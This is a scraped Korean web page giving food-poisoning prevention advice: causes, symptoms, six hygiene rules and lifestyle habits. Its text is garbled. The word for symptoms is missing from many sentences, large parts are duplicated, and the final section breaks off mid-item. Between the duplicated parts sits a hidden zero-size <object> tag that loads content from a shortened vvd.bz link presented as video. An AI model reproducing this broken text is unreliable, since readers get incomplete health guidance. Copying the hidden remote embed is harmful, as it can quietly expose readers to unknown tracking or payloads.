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<div _ngcontent-ng-c3421901935="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:40">식중독 예방 수칙: 건강한 생활습관과 원인, , 및 예방법</h2><p data-sourcepos="3:1-3:42"><strong>건강한 식습관과 위생 관리를 통해 식중독을 예방하고 건강을 지키세요!</strong></p><h3 data-sourcepos="5:1-5:19">1. 식중독이란 무엇일까요?</h3><p data-sourcepos="7:1-7:91">식중독은 식품에 오염된 유해균이나 독소를 섭취하여 발생하는 입니다. 주로 설사, 구토, 복통, 발열 등의 을 유발하며, 심각한 경우 사망에 이르기도 합니다.</p><p data-sourcepos="9:1-9:49">식중독은 우리 주변에서 쉽게 발생할 수 있으며, 특히 여름철에는 더욱 주의해야 합니다.</p><h3 data-sourcepos="11:1-11:21">2. 식중독의 주요 원인과 </h3><p data-sourcepos="13:1-13:45">식중독은 다양한 원인으로 발생할 수 있으며, 주요 원인과 은 다음과 같습니다.</p><p data-sourcepos="15:1-15:12"><strong>1) 주요 원인</strong></p><ul data-sourcepos="17:1-21:0">
<li data-sourcepos="17:1-17:31"><strong>세균:</strong> 대장균, 살모넬라균, 황색포도상구균 등</li>
<li data-sourcepos="18:1-18:28"><strong>바이러스:</strong> 노로바이러스, 로타바이러스 등</li>
<li data-sourcepos="19:1-19:29"><strong>기생충:</strong> 엔터아메바 히스타리티카, 흡충 등</li>
<li data-sourcepos="20:1-21:0"><strong>화학물질:</strong> 비소, 납, 시안화물 등</li>
</ul><p data-sourcepos="22:1-22:12"><strong>2) 주요 </strong></p><ul data-sourcepos="24:1-32:0">
<li data-sourcepos="24:1-24:4">설사</li>
<li data-sourcepos="25:1-25:4">구토</li>
<li data-sourcepos="26:1-26:4">복통</li>
<li data-sourcepos="27:1-27:4">발열</li>
<li data-sourcepos="28:1-28:4">오한</li>
<li data-sourcepos="29:1-29:4">두통</li>
<li data-sourcepos="30:1-30:5">근육통</li>
<li data-sourcepos="31:1-32:0">피로감</li>
</ul><p data-sourcepos="33:1-33:46"><strong>의 심각도는 원인균, 섭취량, 개인의 체질 등에 따라 다를 수 있습니다.</strong></p><h3 data-sourcepos="35:1-35:19">3. 식중독 예방 6대 수칙</h3><p data-sourcepos="37:1-37:41">식중독을 예방하기 위해서는 다음과 같은 6가지 수칙을 꼭 기억해야 합니다.</p><p data-sourcepos="39:1-44:98"><strong>1) 손 씻기:</strong> 식사 전, 화장실 이용 후, 음식 조리 전후에는 반드시 손을 깨끗이 씻어야 합니다.
<strong>2) 익혀 먹기:</strong> 육류, 계란, 해산물 등은 충분히 익혀서 먹어야 합니다. 특히 닭고기, 소고기, 계란은 핵심 온도가 74°C 이상, 돼지고기는 71°C 이상으로 익혀야 합니다.
<strong>3) 끓여 먹기:</strong> 물은 끓여서 마셔야 합니다. 샐러드나 과일 등을 먹기 전에도 깨끗한 물로 꼼꼼히 씻어야 합니다.
<strong>4) 구분 사용:</strong> 날것과 익힌 음식을 조리할 때 사용하는 도마, 칼, 식기 등은 서로 구분하여 사용해야 합니다.
<strong>5) 세척 소독:</strong> 조리 도구, 식기, 작업대 등은 사용 후 깨끗하게 세척하고 소독해야 합니다.
<strong>6) 보관 온도 지키기:</strong> 음식은 적절한 온도에서 보관해야 합니다. 냉장 보관해야 하는 음식은 4°C 이하, 냉동 보관해야 하는 음식은 -18°C 이하로 보관해야 합니다.</p><h3 data-sourcepos="46:1-46:22">4. 식중독 예방을 위한 생활습관</h3><p data-sourcepos="48:1-48:58">식중독 예방을 위해서는 위의 6가지 수칙 외에도 다음과 같은 건강한 생활습관을 유지하는 것이 중요합니다.</p><ul data-sourcepos="50:1-55:0">
<li data-sourcepos="50:1-50:43"><strong>충분한 휴식:</strong> 충분한 수면과 휴식을 취하여 면역력을 높여야 합니다.</li>
<li data-sourcepos="51:1-51:55"><strong>규칙적인 운동:</strong> 규칙적인 운동은 면역력을 높이고 소화 기능을 개선하는 데 도움이 됩니다.</li>
<li data-sourcepos="52:1-52:51"><strong>균형 잡힌 식단:</strong> 균형 잡힌 식단을 통해 필요한 영양소를 충분히 섭취해야 합니다.</li>
<li data-sourcepos="53:1-53:53"><strong>스트레스 관리:</strong> 스트레스는 면역력을 약화시키므로 스트레스 관리에도 신경 써야 합니다.</li>
<li data-sourcepos="54:1-55:0"><strong>금연 및 과도한 음주 자제:</strong> 금연과 과도한 음주는 면역력을 약화시키므로 피해야 합니다.</li>
</ul><h3 data-sourcepos="56:1-56:17">5. 장염 및 예방</h3><p data-sourcepos="58:1-58:67">장염은 장에 염증이 생기는 으로, 식중독의 대표적인 중 하나입니다. 장염 에는 다음과 같은 방법이 있습니다.</p><ul data-sourcepos="60:1-60:8">
<li data-sourcepos="60:1-60:8">** 완</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/dXsN" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="17:1-17:31"><strong>세균:</strong> 대장균, 살모넬라균, 황색포도상구균 등</li>
<li data-sourcepos="18:1-18:28"><strong>바이러스:</strong> 노로바이러스, 로타바이러스 등</li>
<li data-sourcepos="19:1-19:29"><strong>기생충:</strong> 엔터아메바 히스타리티카, 흡충 등</li>
<li data-sourcepos="20:1-21:0"><strong>화학물질:</strong> 비소, 납, 시안화물 등</li>
</ul><p data-sourcepos="22:1-22:12"><strong>2) 주요 </strong></p><ul data-sourcepos="24:1-32:0">
<li data-sourcepos="24:1-24:4">설사</li>
<li data-sourcepos="25:1-25:4">구토</li>
<li data-sourcepos="26:1-26:4">복통</li>
<li data-sourcepos="27:1-27:4">발열</li>
<li data-sourcepos="28:1-28:4">오한</li>
<li data-sourcepos="29:1-29:4">두통</li>
<li data-sourcepos="30:1-30:5">근육통</li>
<li data-sourcepos="31:1-32:0">피로감</li>
</ul><p data-sourcepos="33:1-33:46"><strong>의 심각도는 원인균, 섭취량, 개인의 체질 등에 따라 다를 수 있습니다.</strong></p><h3 data-sourcepos="35:1-35:19">3. 식중독 예방 6대 수칙</h3><p data-sourcepos="37:1-37:41">식중독을 예방하기 위해서는 다음과 같은 6가지 수칙을 꼭 기억해야 합니다.</p><p data-sourcepos="39:1-44:98"><strong>1) 손 씻기:</strong> 식사 전, 화장실 이용 후, 음식 조리 전후에는 반드시 손을 깨끗이 씻어야 합니다.
<strong>2) 익혀 먹기:</strong> 육류, 계란, 해산물 등은 충분히 익혀서 먹어야 합니다. 특히 닭고기, 소고기, 계란은 핵심 온도가 74°C 이상, 돼지고기는 71°C 이상으로 익혀야 합니다.
<strong>3) 끓여 먹기:</strong> 물은 끓여서 마셔야 합니다. 샐러드나 과일 등을 먹기 전에도 깨끗한 물로 꼼꼼히 씻어야 합니다.
<strong>4) 구분 사용:</strong> 날것과 익힌 음식을 조리할 때 사용하는 도마, 칼, 식기 등은 서로 구분하여 사용해야 합니다.
<strong>5) 세척 소독:</strong> 조리 도구, 식기, 작업대 등은 사용 후 깨끗하게 세척하고 소독해야 합니다.
<strong>6) 보관 온도 지키기:</strong> 음식은 적절한 온도에서 보관해야 합니다. 냉장 보관해야 하는 음식은 4°C 이하, 냉동 보관해야 하는 음식은 -18°C 이하로 보관해야 합니다.</p><h3 data-sourcepos="46:1-46:22">4. 식중독 예방을 위한 생활습관</h3><p data-sourcepos="48:1-48:58">식중독 예방을 위해서는 위의 6가지 수칙 외에도 다음과 같은 건강한 생활습관을 유지하는 것이 중요합니다.</p><ul data-sourcepos="50:1-55:0">
<li data-sourcepos="50:1-50:43"><strong>충분한 휴식:</strong> 충분한 수면과 휴식을 취하여 면역력을 높여야 합니다.</li>
<li data-sourcepos="51:1-51:55"><strong>규칙적인 운동:</strong> 규칙적인 운동은 면역력을 높이고 소화 기능을 개선하는 데 도움이 됩니다.</li>
<li data-sourcepos="52:1-52:51"><strong>균형 잡힌 식단:</strong> 균형 잡힌 식단을 통해 필요한 영양소를 충분히 섭취해야 합니다.</li>
<li data-sourcepos="53:1-53:53"><strong>스트레스 관리:</strong> 스트레스는 면역력을 약화시키므로 스트레스 관리에도 신경 써야 합니다.</li>
<li data-sourcepos="54:1-55:0"><strong>금연 및 과도한 음주 자제:</strong> 금연과 과도한 음주는 면역력을 약화시키므로 피해야 합니다.</li>
</ul><h3 data-sourcepos="56:1-56:17">5. 장염 및 예방</h3><p data-sourcepos="58:1-58:67">장염은 장에 염증이 생기는 으로, 식중독의 대표적인 중 하나입니다. 장염 에는 다음과 같은 방법이 있습니다.</p><ul data-sourcepos="60:1-60:8">
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